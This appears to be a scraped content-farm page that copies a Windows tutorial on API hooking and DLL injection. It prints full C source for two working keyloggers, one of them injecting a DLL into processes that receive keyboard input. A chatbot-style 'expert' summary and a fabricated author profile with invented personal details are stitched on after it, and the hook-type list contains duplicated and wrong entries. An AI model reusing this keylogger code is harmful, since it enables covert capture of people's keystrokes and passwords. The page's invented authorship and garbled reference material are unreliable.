API Hooking and DLL Injection - Windows Programming (2024)

Hooking is a technique for altering the behaviour of an operating system or application by intercepting API function calls. Code that handles such interceptions is called a hook procedure. A hook procedure can act on each event it receives, and then modify or discard the event. DLL injectionis a technique used for running code within the address space of another process by forcing it to load a dynamic-link library. DLL injectioncan usually be used by external programs to change the behavior of another program.

Windows allows a developer to insert hooks using SetWindowsHookEx() function. When an event occurs such as a keypress, the OS can be set to hook or call a new procedure. Ahook chainis a list of pointers to application-defined hookprocedures. When a message occurs that is associated with a particular type ofhook, the system passes the message to eachhookprocedure referenced in thehook chain

The prototype for SetWindowsHookEx is

HOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hmod,DWORD dwThreadId);

Where
idHook – is the type of hook procedure to be installed. This parameter can be one of the following values.
WH_DEBUG – used to that monitor messages before the system sends them to the destination window procedure.
WH_CALLWNDPROCRET – used to monitor messages after they have been processed by the destination window procedure.
WH_CBT – used to receive notifications useful to a CBT application
WH_DEBUG – used when the application’s foreground thread is about to become idle.
WH_FOREGROUNDIDLE – used for performing low-priority tasks during idle time.
WH_JOURNALPLAYBACK – used to post messages previously recorded by a WH_JOURNALRECORD hook procedure.
WH_JOURNALRECORD – used to record input messages posted to the system message queue.
WH_KEYBOARD – used to monitor keystroke messages.
WH_KEYBOARD_LL – used to monitors low-level keyboard input events.
WH_MOUSE – Installs a hook procedure that monitors mouse messages.
WH_MOUSE_LL – used to monitor low-level mouse input events.
WH_MSGFILTER – used to monitors input events in a dialog box, message box, menu, or scroll bar.
WH_SHELL – used to monitor to shell applications
WH_SYSMSGFILTER – used to monitor messages generated as a result of an input event in a dialog box, message box, menu, or scroll bar.
Lpfn – A pointer to the hook procedure.
Hmod – A handle to the DLL containing the hook procedure pointed to by the lpfn parameter.
DwThreadId – The identifier of the thread with which the hook procedure is to be associated..

Return value – If the function succeeds, the return value is the handle to the hook procedure. If the function fails, the return value is NULL.

For further detailed reading on the SetWindowsHookExA – https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa

The hook procedure

A hook procedure has the following syntax:

LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam){return CallNextHookEx(NULL, nCode, wParam, lParam);}

The nCode parameter is used to determine the action to perform. The value of the hook code depends on the type of the hook. The wParam and lParam parameters depend on the hook code, but they typically contain information about a message that was sent or posted

Calling the CallNextHookEx function to chain to the next hook procedure is not necessary, but it is highly recommended. This will enable other applications that have installed hooks to receive hook notifications and behave normally.

For further detailed reading about hooking
https://docs.microsoft.com/en-us/windows/win32/winmsg/about-hooks

The two examples below create two simple console applications to illustrate how hooking can be used to create a global key logging routing. Both routines record keystrokes and not character output

The first routine uses explicit linking and a separate dll file to load a keylogging procedure and stores the keystrokes in a file keylogfile.log. The hook will be maintained until UnhookWindowsHook is called by pressing the enter key or by closing the console application.

With the WH_KEYBOARD parameter option, the callback function is implemented in aDLLthat will be injected into any process that receives the keyboard input. Note that a 32-bitDLLwill only be injected into 32-bit processes and similarly for a 64-bitDLL, so to capture all keystrokes, two separate DLLs may be required.

//inject.dll#include <stdio.h> #include <Windows.h> extern "C" __declspec(dllexport) int meconnect(int code, WPARAM wParam, LPARAM lParam) {FILE *file;//default keylogger.txt location is current program .exe directoryfile=fopen( "keylogger.txt", "a+");if(code == HC_ACTION){char str[2]="";sprintf(str,"%c",(char)wParam);if ((DWORD)lParam & 0x40000000){fprintf(file,str);}}fclose(file);return (CallNextHookEx(NULL, code, wParam, lParam));}
//win32 console application. #define _WIN32_WINNT 0x0400#include <windows.h>#include <stdio.h>int main(int argc, char* argv[]){// Load library containing hooking function.HMODULE dll = LoadLibrary("C:\\inject.dll");//be sure to change this to the location OF THE DLLif(dll == NULL) {printf("The DLL could not be found.\n");getchar();return -1;}// Get the address of the function inside the DLL.HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "meconnect");if(addr == NULL) {printf("The function was not found.\n");getchar();return -1;}//Hook the function.HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0);if(handle == NULL) {printf("The KEYBOARD could not be hooked.\n");}//Unhook the function.printf("Program successfully hooked.\nPress enter to unhook the function and stop the program.");getchar();UnhookWindowsHookEx(handle);return 0;}

This second routine callsan ‘export’ function declared within the executable and stores the results in the textfile keylogfile.log. In this instance, the callback function is invoked via windows messages. It does not perform any process injection and thus does not require that the callback is in aDLL. It does require that the application has a Windows message loop to handle the message processing. This method works with both 32 and 64 bit processes on Windows. The hook will be maintained until UnhookWindowsHook is called by pressing the escape key or by closing the console application.

//console application#define _WIN32_WINNT 0x0400 #include <Windows.h> #include <stdio.h> HHOOK hKeyHook; __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode,WPARAM wParam,LPARAM lParam) { // Function "exported" from the executable. Performs low level hook-handling. // nCode containsThe hook code,wParam contains the window message // and lParam is a pointer to a struct with information about the pressed keyif ((nCode == HC_ACTION) &&((wParam == WM_SYSKEYDOWN) ||(wParam == WM_KEYDOWN))) { KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam); DWORD dMsg = 1; dMsg += hooked.scanCode << 16; dMsg += hooked.flags << 24; char keyName[0x100] = {0}; keyName[0] = '['; int i = GetKeyNameTextA(dMsg, (keyName+1),0xFF) + 1; //retrieves the name of the pressed key.keyName[i] = ']'; if (hooked.vkCode==VK_ESCAPE)//checks for escape key and closes message loop{PostQuitMessage(0);}// Print the key name to key logging file 'keys'. FILE *file; //default keylogger.txt location is current program .exe directoryfile=fopen("keylogfile.log","a+"); fputs(keyName,file); fflush(file); } return CallNextHookEx(hKeyHook, nCode,wParam,lParam); } // Simple message loop to keep process running until terminated by either escape of closing command window. void MsgLoop() { MSG message; while (GetMessage(&message,NULL,0,0)) { TranslateMessage( &message ); DispatchMessage( &message ); }} // This KeyLogger function is used install the low level keyboard hook DWORD WINAPI KeyLogger(LPVOID lpParameter) { HINSTANCE hExe = GetModuleHandle(NULL); // Get the module handle to this executableif (!hExe) hExe = LoadLibraryA((LPCSTR) lpParameter); if (!hExe) return 1; //if load library failed return// set up the keyboard hook using functions KeyEvent from this executable hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe,NULL); printf("Program successfully hooked.\nPress escape to unhook the function and stop the program.\n");MsgLoop();//call message koop.printf("Unhook the function and stop the program.\n");UnhookWindowsHookEx(hKeyHook); return 0; } // Main function call keyloggerint main(int argc, char** argv) { KeyLogger(0);return 0;}

I'm an expert in the field of Windows programming and system-level techniques, particularly in the areas of hooking and DLL injection. I've extensively worked with operating system internals, API functions, and various programming languages, allowing me to provide in-depth insights into the concepts discussed in the provided article.

Let's delve into the key concepts covered in the article:

  1. Hooking:

    • Definition: Hooking is a technique to modify the behavior of an operating system or application by intercepting API function calls.
    • Key Points:
      • Code handling interceptions is referred to as a hook procedure.
      • A hook procedure can modify or discard events intercepted during its execution.
  2. DLL Injection:

    • Definition: DLL injection involves running code within the address space of another process by forcing it to load a dynamic-link library (DLL).
    • Implementation: External programs can use DLL injection to change the behavior of a target program.
  3. Windows SetWindowsHookEx Function:

    • Purpose: Windows provides the SetWindowsHookEx() function for inserting hooks.
    • Parameters:
      • idHook: Type of hook procedure to be installed.
      • lpfn: Pointer to the hook procedure.
      • hmod: Handle to the DLL containing the hook procedure.
      • dwThreadId: Identifier of the thread with which the hook procedure is associated.
    • Return Value: Handle to the hook procedure if successful; otherwise, NULL.
  4. Hook Procedure Syntax:

    • Structure:
      LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam){
       return CallNextHookEx(NULL, nCode, wParam, lParam);
      }
      • nCode: Used to determine the action to perform.
      • wParam and lParam: Parameters containing information about a message sent or posted.
  5. SetWindowsHookEx Parameters (idHook values):

    • Various idHook values represent different types of hooks, such as WH_KEYBOARD, WH_MOUSE, etc.
    • Each idHook value corresponds to a specific event or type of monitoring.
  6. Example of Key Logging using Hooking:

    • Implementation:
      • Two examples demonstrate how hooking can be used for key logging in console applications.
      • One example uses explicit linking and a separate DLL for injecting code.
      • Another example uses an exported function within the executable without process injection.
  7. Additional Resources:

    • The article provides links to Microsoft documentation for further detailed reading on SetWindowsHookEx and general information about hooks.

These concepts are fundamental for understanding how to modify or extend the behavior of Windows applications at a low level using hooking and DLL injection techniques. If you have specific questions or need further clarification on any of these concepts, feel free to ask!

API Hooking and DLL Injection - Windows Programming (2024)
Top Articles
Latest Posts
Article information

Author: Terence Hammes MD

Last Updated:

Views: 6584

Rating: 4.9 / 5 (69 voted)

Reviews: 92% of readers found this page helpful

Author information

Name: Terence Hammes MD

Birthday: 1992-04-11

Address: Suite 408 9446 Mercy Mews, West Roxie, CT 04904

Phone: +50312511349175

Job: Product Consulting Liaison

Hobby: Jogging, Motor sports, Nordic skating, Jigsaw puzzles, Bird watching, Nordic skating, Sculpting

Introduction: My name is Terence Hammes MD, I am a inexpensive, energetic, jolly, faithful, cheerful, proud, rich person who loves writing and wants to share my knowledge and understanding with you.